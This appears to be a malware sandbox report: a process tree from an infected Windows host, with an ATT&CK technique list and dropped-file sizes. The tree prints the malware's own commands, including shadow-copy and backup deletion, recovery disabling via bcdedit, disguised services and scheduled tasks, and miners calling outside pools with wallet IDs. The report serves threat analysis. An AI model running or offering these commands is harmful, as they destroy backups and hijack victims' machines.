C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --mojo-platform-channel-handle=3284 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --mojo-platform-channel-handle=1812 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --mojo-platform-channel-handle=3592 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --mojo-platform-channel-handle=3488 /prefetch:85⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_9A7A.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"3⤵
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{074e052d-57d2-1a4a-a1e4-da193f17ea75}\oemvista.inf" "9" "4d14a44ff" "0000000000000170" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000170"2⤵
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\EF92.exeC:\Users\Admin\AppData\Local\Temp\EF92.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\F4A4.exeC:\Users\Admin\AppData\Local\Temp\F4A4.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\A60.exeC:\Users\Admin\AppData\Local\Temp\A60.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1221.exeC:\Users\Admin\AppData\Local\Temp\1221.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\msghxcvg\2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ffylxutv.exe" C:\Windows\SysWOW64\msghxcvg\2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create msghxcvg binPath= "C:\Windows\SysWOW64\msghxcvg\ffylxutv.exe /d\"C:\Users\Admin\AppData\Local\Temp\1221.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description msghxcvg "wifi internet conection"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start msghxcvg2⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\18E8.exeC:\Users\Admin\AppData\Local\Temp\18E8.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\282C.exeC:\Users\Admin\AppData\Local\Temp\282C.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4559.exeC:\Users\Admin\AppData\Local\Temp\4559.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4C8E.exeC:\Users\Admin\AppData\Local\Temp\4C8E.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe" -start2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe" -agent 03⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat3⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete4⤵
-
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet3⤵
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete3⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete4⤵
-
-
-
C:\Windows\SysWOW64\notepad.exenotepad.exe3⤵
-
-
-
C:\Windows\SysWOW64\notepad.exenotepad.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\6826.exeC:\Users\Admin\AppData\Local\Temp\6826.exe1⤵
-
C:\Users\Admin\Documents\Update.exe"C:\Users\Admin\Documents\Update.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Red1_.exe"C:\Users\Admin\AppData\Local\Temp\Red1_.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Clip_.exe"C:\Users\Admin\AppData\Local\Temp\Clip_.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe"C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'5⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'6⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"5⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=antivirus.windowsdefenderautoupdater.me:3333 --user=4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQuiWzFUXCscKHeTzpD --pass=x --cpu-max-threads-hint=30 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=3 --cinit-idle-cpu=90 --nicehash --cinit-stealth5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe"C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'5⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\VideoDriver.exe"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'6⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe"C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe"3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\6826.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\6826.exe"2⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 1003⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 9003⤵
- Runs ping.exe
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\msghxcvg\ffylxutv.exeC:\Windows\SysWOW64\msghxcvg\ffylxutv.exe /d"C:\Users\Admin\AppData\Local\Temp\1221.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Roaming\vtcjrfeC:\Users\Admin\AppData\Roaming\vtcjrfe1⤵
-
C:\Users\Admin\AppData\Roaming\hvcjrfeC:\Users\Admin\AppData\Roaming\hvcjrfe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
2New Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1File Deletion
2Modify Registry
2Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
188KB
-
Filesize
40.8MB
-
Filesize
4KB
-
Filesize
628KB
-
Filesize
192KB
-
Filesize
40.9MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
40.8MB
-
Filesize
192KB
-
Filesize
1.3MB
-
Filesize
8KB
-
Filesize
1.3MB
-
Filesize
40.9MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
108KB
-
Filesize
4KB
-
Filesize
1.2MB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
9.1MB
-
Filesize
912KB
-
Filesize
1.4MB
-
Filesize
1.2MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
696KB
-
Filesize
31.7MB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
120KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
40KB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
68KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
688KB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
128KB
-
Filesize
5.0MB
-
Filesize
80KB
-
Filesize
828KB
-
Filesize
440KB
-
Filesize
6.0MB
-
Filesize
128KB
-
Filesize
12KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
240KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
36KB